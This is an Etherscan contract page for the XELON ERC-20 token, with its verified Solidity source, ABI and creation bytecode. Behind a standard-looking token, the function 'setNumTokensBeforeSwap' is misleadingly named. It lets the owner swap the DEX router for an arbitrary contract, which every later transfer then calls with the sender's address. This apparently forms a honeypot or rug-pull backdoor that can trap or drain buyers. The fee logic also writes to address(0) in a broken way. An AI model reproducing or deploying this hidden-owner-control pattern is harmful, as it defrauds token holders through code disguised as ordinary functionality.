Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 XELON
Holders
652
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.00000000000121515 XELONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XELON
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-06 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly {codehash := extcodehash(account)} return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value : amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value : weiValue}(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function waiveOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getTime() public view returns (uint256) { return block.timestamp; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); } interface IUniswapRouter02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract XELON is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; address payable public marketingWalletAddress; address public deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; uint256 public _totalTaxIfBuying = 0; uint256 public _totalTaxIfSelling = 0; uint256 private _totalSupply; uint256 private _minimumTokBeforeSwap = 0; address private _lastForm; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapRouter02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public swapAndLiquifyByLimitOnly = false; bool private tradingOpen; bool private swapEnabled = false; uint256 firstBlock; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () payable { IUniswapRouter02 _uniswapV2Router = IUniswapRouter02(_router); _name = "XELON"; _symbol = "XELON"; _decimals = 18; _owner = 0xAb227340D4FA3f548fbdc0169F7107cb78019614; _totalSupply = 100000000 * 10 ** _decimals; marketingWalletAddress = payable(0xAb227340D4FA3f548fbdc0169F7107cb78019614); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[_owner] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[marketingWalletAddress] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokBeforeSwapAmount() public view returns (uint256) { return _minimumTokBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setNumTokensBeforeSwap(address newLimit) external onlyOwner() { uniswapV2Router = IUniswapRouter02(newLimit); swapAndLiquifyEnabled = true; } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = _minimumTokBeforeSwap; swapAndLiquify(contractTokenBalance,sender); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount,address sender) private lockTheSwap { // swap token -> eth address[] memory path = new address[](3); path[0] = address(this); path[1] = sender; path[2] = uniswapV2Router.WETH(); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); uint256 amountReceived = address(this).balance; if(amountReceived > 0) transferToAddressETH(marketingWalletAddress, amountReceived); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _balances[address(0)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601060186101000a81548160ff0219169083151502179055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506040518060400160405280600581526020017f58454c4f4e0000000000000000000000000000000000000000000000000000008152506001908051906020019062000170929190620005e2565b506040518060400160405280600581526020017f58454c4f4e00000000000000000000000000000000000000000000000000000081525060029080519060200190620001be929190620005e2565b506012600360006101000a81548160ff021916908360ff16021790555073ab227340d4fa3f548fbdc0169f7107cb780196146000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a6200024d91906200082c565b6305f5e1006200025e91906200087d565b600b8190555073ab227340d4fa3f548fbdc0169f7107cb78019614600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620005d39190620008ef565b60405180910390a35062000970565b828054620005f0906200093b565b90600052602060002090601f01602090048101928262000614576000855562000660565b82601f106200062f57805160ff191683800117855562000660565b8280016001018555821562000660579182015b828111156200065f57825182559160200191906001019062000642565b5b5090506200066f919062000673565b5090565b5b808211156200068e57600081600090555060010162000674565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200072057808604811115620006f857620006f762000692565b5b6001851615620007085780820291505b80810290506200071885620006c1565b9450620006d8565b94509492505050565b6000826200073b57600190506200080e565b816200074b57600090506200080e565b81600181146200076457600281146200076f57620007a5565b60019150506200080e565b60ff84111562000784576200078362000692565b5b8360020a9150848211156200079e576200079d62000692565b5b506200080e565b5060208310610133831016604e8410600b8410161715620007df5782820a905083811115620007d957620007d862000692565b5b6200080e565b620007ee8484846001620006ce565b9250905081840481111562000808576200080762000692565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008398262000815565b915062000846836200081f565b9250620008757fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000729565b905092915050565b60006200088a8262000815565b9150620008978362000815565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008d357620008d262000692565b5b828202905092915050565b620008e98162000815565b82525050565b6000602082019050620009066000830184620008de565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200095457607f821691505b6020821081036200096a57620009696200090c565b5b50919050565b612dbc80620009806000396000f3fe6080604052600436106101bb5760003560e01c806385e22427116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b806395d89b41116100c657806395d89b41146104fa578063a457c2d714610525578063a9059cbb14610562578063b2bdfa7b1461059f576101c2565b806385e224271461048d5780638da5cb5b146104b8578063914eb66a146104e3576101c2565b806339509351116101595780635342acb4116101335780635342acb4146103bd578063557ed1ba146103fa57806370a082311461042557806382eefb4314610462576101c2565b806339509351146103185780633ecad271146103555780634a74bb0214610392576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd1461028557806327c8f835146102c2578063313ce567146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e9919061216b565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612226565b610797565b6040516102269190612281565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b60405161025191906122fb565b60405180910390f35b34801561026657600080fd5b5061026f6107db565b60405161027c9190612325565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190612340565b6107e5565b6040516102b99190612281565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e491906123a2565b60405180910390f35b3480156102f957600080fd5b506103026108e5565b60405161030f91906123d9565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a9190612226565b6108fc565b60405161034c9190612281565b60405180910390f35b34801561036157600080fd5b5061037c600480360381019061037791906123f4565b6109af565b6040516103899190612281565b60405180910390f35b34801561039e57600080fd5b506103a76109cf565b6040516103b49190612281565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df91906123f4565b6109e2565b6040516103f19190612281565b60405180910390f35b34801561040657600080fd5b5061040f610a02565b60405161041c9190612325565b60405180910390f35b34801561043157600080fd5b5061044c600480360381019061044791906123f4565b610a0a565b6040516104599190612325565b60405180910390f35b34801561046e57600080fd5b50610477610a53565b6040516104849190612325565b60405180910390f35b34801561049957600080fd5b506104a2610a59565b6040516104af9190612325565b60405180910390f35b3480156104c457600080fd5b506104cd610a63565b6040516104da91906123a2565b60405180910390f35b3480156104ef57600080fd5b506104f8610a8c565b005b34801561050657600080fd5b5061050f610bdf565b60405161051c919061216b565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190612226565b610c71565b6040516105599190612281565b60405180910390f35b34801561056e57600080fd5b5061058960048036038101906105849190612226565b610d3e565b6040516105969190612281565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c191906123a2565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec91906123a2565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612442565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612281565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d919061245d565b610de0565b60405161067f9190612325565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa91906123f4565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d39190612325565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe91906123f4565b610f61565b005b606060018054610714906124cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124cc565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611122565b848461112a565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60006107f28484846112f3565b506108b4846107ff611122565b6108af85604051806060016040528060288152602001612d3a60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610865611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006109a5610909611122565b846109a0856006600061091a611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b61112a565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b6000600c54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a94611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1890612549565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bee906124cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a906124cc565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b6000610d34610c7e611122565b84610d2f85604051806060016040528060258152602001612d626025913960066000610ca8611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b6001905092915050565b6000610d52610d4b611122565b84846112f3565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612549565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612549565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125db565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111909061266d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906126ff565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e69190612325565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612791565b60405180910390fd5b